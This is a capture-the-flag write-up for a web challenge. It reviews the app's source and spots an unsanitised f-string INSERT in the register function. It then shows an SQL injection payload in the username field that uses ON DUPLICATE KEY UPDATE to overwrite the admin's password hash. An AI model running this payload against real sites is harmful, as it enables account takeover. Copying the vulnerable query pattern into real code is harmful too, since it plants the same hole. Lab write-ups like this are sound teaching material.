Challenge Description
An unknown entity has taken over every screen worldwide and is broadcasting this haunted feed that introduces paranormal activity to random internet-accessible CCTV devices. Could you take down this streaming service?
In this challenge, we are presented with a web app. This app is a centralized camera feed management app. We are also given the source code for the challenge making it a white box challenge.
By extracting the source code given and by running the docker within it we are presented with the following web app page:

By registering a user and logging in we reach the following dashboard:

By searching through the source code of the page we can see that the template used varies if the user is an admin:
{% if user == 'admin' %}
<div class="container-lg mt-5 pt-5">
...
<tr class="table-active">
<th>
<input class="form-check-input fw-cam-radio" type="checkbox" checked disabled>
</th>
<td>5</td>
<td>192.251.68.6</td>
<td>NV360</td>
<td>{{flag}}</td>
<td></td>
<td></td>
<td>admin</td>
<td>80</td>
<td>21</td>
<td>23</td>
<td></td>
</tr>
</tbody>
</table>
<div class="d-flex justify-content-end mt-3 mb-3">
<button class="btn btn-info fw-update-btn me-3">Upgrade Selected</button>
<button class="btn btn-danger fw-update-btn">Disable Feeds</button>
</div>
As we can see the flag will be displayed in the admin-only section. Therefore, the objective will be to gain access to the admin account.
By examining the source code for the login and registry we can see that firstly the database has a table of users with the username and a password hash as seen below:
# Wait for mysql to start
while ! mysqladmin ping -h'localhost' --silent; do echo 'not up' && sleep .2; done
mysql -u root << EOF
CREATE DATABASE horror_feeds;
CREATE TABLE horror_feeds.users (
id INTEGER PRIMARY KEY AUTO_INCREMENT,
username varchar(255) NOT NULL UNIQUE,
password varchar(255) NOT NULL
);
INSERT INTO horror_feeds.users (username, password) VALUES ('admin', '$2a$12$BHVtAvXDP1xgjkGEoeqRTu2y4mycnpd6If0j/WbP0PCjwW4CKdq6G');
CREATE USER 'user'@'localhost' IDENTIFIED BY 'M@k3l@R!d3s$';
GRANT SELECT, INSERT, UPDATE ON horror_feeds.users TO 'user'@'localhost';
FLUSH PRIVILEGES;
EOF
/usr/bin/supervisord -c /etc/supervisord.conf
We can also see that the username isn’t a primary key but needs to be unique. The admin account also has the password hash: $2a$12$BHVtAvXDP1xgjkGEoeqRTu2y4mycnpd6If0j/WbP0PCjwW4CKdq6G
, this hash is a bcrypt hash, this can be confirmed by examining the following hash generation function that the server uses:
def generate_password_hash(password):
salt = bcrypt.gensalt()
return bcrypt.hashpw(password.encode(), salt).decode()
def verify_hash(password, passhash):
return bcrypt.checkpw(password.encode(), passhash.encode())
The web application also uses JWT, but the implementation doesn’t seem to be vulnerable to any known attacks as of the moment of writing. The handling of the JWT can be seen in the following code:
generate = lambda x: os.urandom(x).hex()
key = generate(50)
def response(message):
return jsonify({'message': message})
def generate_token(username):
token_expiration = datetime.datetime.utcnow() + datetime.timedelta(minutes=360)
encoded = jwt.encode(
{
'username': username,
'exp': token_expiration
},
key,
algorithm='HS256'
)
return encoded
def token_verify(token):
try:
token_decode = jwt.decode(
token,
key,
algorithms='HS256'
)
return token_decode
except:
return abort(400, 'Invalid token!')
def is_authenticated(f):
@wraps(f)
def decorator(*args, **kwargs):
token = session.get('auth')
if not token:
return abort(401, 'Unauthorised access detected!')
token_verify(token)
return f(*args, **kwargs)
return decorator
With this brief examination, we can already assume that we can’t tackle this challenge by either cracking the password or by exploiting the JWT cookies.
By taking a look at how the queries are made to the database we can see the following functions that handle those queries:
mysql = MySQL()
def query_db(query, args=(), one=False):
cursor = mysql.connection.cursor()
cursor.execute(query, args)
rv = [dict((cursor.description[idx][0], value)
for idx, value in enumerate(row)) for row in cursor.fetchall()]
return (rv[0] if rv else None) if one else rv
def login(username, password):
user = query_db('SELECT password FROM users WHERE username = %s', (username,), one=True)
if user:
password_check = verify_hash(password, user.get('password'))
if password_check:
token = generate_token(username)
return token
else:
return False
else:
return False
def register(username, password):
exists = query_db('SELECT * FROM users WHERE username = %s', (username,))
if exists:
return False
hashed = generate_password_hash(password)
query_db(f'INSERT INTO users (username, password) VALUES ("{username}", "{hashed}")')
mysql.connection.commit()
return True
In the code, we can see that the login is well-sanitized and the handling of information is done with proper security practices in mind. However, if we investigate the register function, we see that even though the username is checked securely, the newly created user’s data is inserted without proper sanitization. This suggests that the method might be vulnerable to SQL injection attacks.
To take advantage of this possible vulnerability we must first understand how the login checks are made. For a user to log in he must provide a username and a password. Later, the server hashes the password and compares it to the stored hash for that given username in its database. This means that for us to use an INSERT query so that we can modify the admin credentials stored in the database we must pass as an argument a valid Bcrypt hash.
To generate the hash we can just use the server-provided function and hash a password to be later used for us to log in. The following code is an example of how to do that:
import bcrypt
def generate_password_hash(password):
salt = bcrypt.gensalt()
return bcrypt.hashpw(password.encode(), salt).decode()
print(generate_password_hash('admin'))
$ python3 generateHash.py
$2b$12$thEfE73mPUmlGQ6TvUwNVOuNyLMLqDBucY2SKqLbgNgzkAi2tXTCK
Our next concern is how to modify the credentials now that we have a valid hash. A naive approach would be by just using SQL injection and simply providing as the username the rest of the query and commenting on the rest as follows:
username = "admin\", '$2b$12$thEfE73mPUmlGQ6TvUwNVOuNyLMLqDBucY2SKqLbgNgzkAi2tXTCK') --"
password = "<any non empty string>"
This approach wouldn’t work. The problem with this approach is that the INSERT query wouldn’t be able to insert a row where the username is repeated due to the configuration of the table. These usernames must be UNIQUE.
Another approach could have been simply trying to do more than one query, this also wouldn’t work. The problem with this approach would have been the following error: Commands out of sync; you can't run this command now
. By checking the documentation we can see why this happens:
If you get Commands out of sync; you can’t run this command now in your client code, you are calling client functions in the wrong order. This can happen, for example, if you are using mysql_use_result() and try to execute a new query before you have called mysql_free_result(). It can also happen if you try to execute two queries that return data without calling mysql_use_result() or mysql_store_result() in between.
The remaining approach would be to deal in some way with the insertion of a user that already exists and may be able to modify its value. One way to do this is by using the method ON DUPLICATE KEY UPDATE
. By once again checking the documentation we can better understand what this method does:
INSERT … ON DUPLICATE KEY UPDATE is a MariaDB/MySQL extension to the INSERT statement that, if it finds a duplicate unique or primary key, will instead perform an UPDATE. The row/s affected value is reported as 1 if a row is inserted, and 2 if a row is updated, unless the API’s
CLIENT_FOUND_ROWS
flag is set.
Now that we might have a valid approach to tackle our roadblock, what remains is to craft a payload that would be able to be a valid query. For this we can use a payload similar to the following:
username = "admin\", '<any non empty string>') ON DUPLICATE KEY UPDATE password = '$2b$12$thEfE73mPUmlGQ6TvUwNVOuNyLMLqDBucY2SKqLbgNgzkAi2tXTCK' -- "
password = "<any non empty string>"
This would enable us to try to insert on the admin row a random string and as a fallback, we would update the hash for a hash given by us while still commenting on the rest of the query so that we have a valid query. The final query that the database would try to do is after formatting the following:
INSERT INTO users (username, password) VALUES ("admin", '<any non empty string>') ON DUPLICATE KEY UPDATE password = '$2b$12$thEfE73mPUmlGQ6TvUwNVOuNyLMLqDBucY2SKqLbgNgzkAi2tXTCK' -- "<hash of the non empty string provided>")'
What is left to do now is to register with the crafted payloads and then try to log in with the credentials we set. After this we can be presented with the following dashboard where the flag is present:
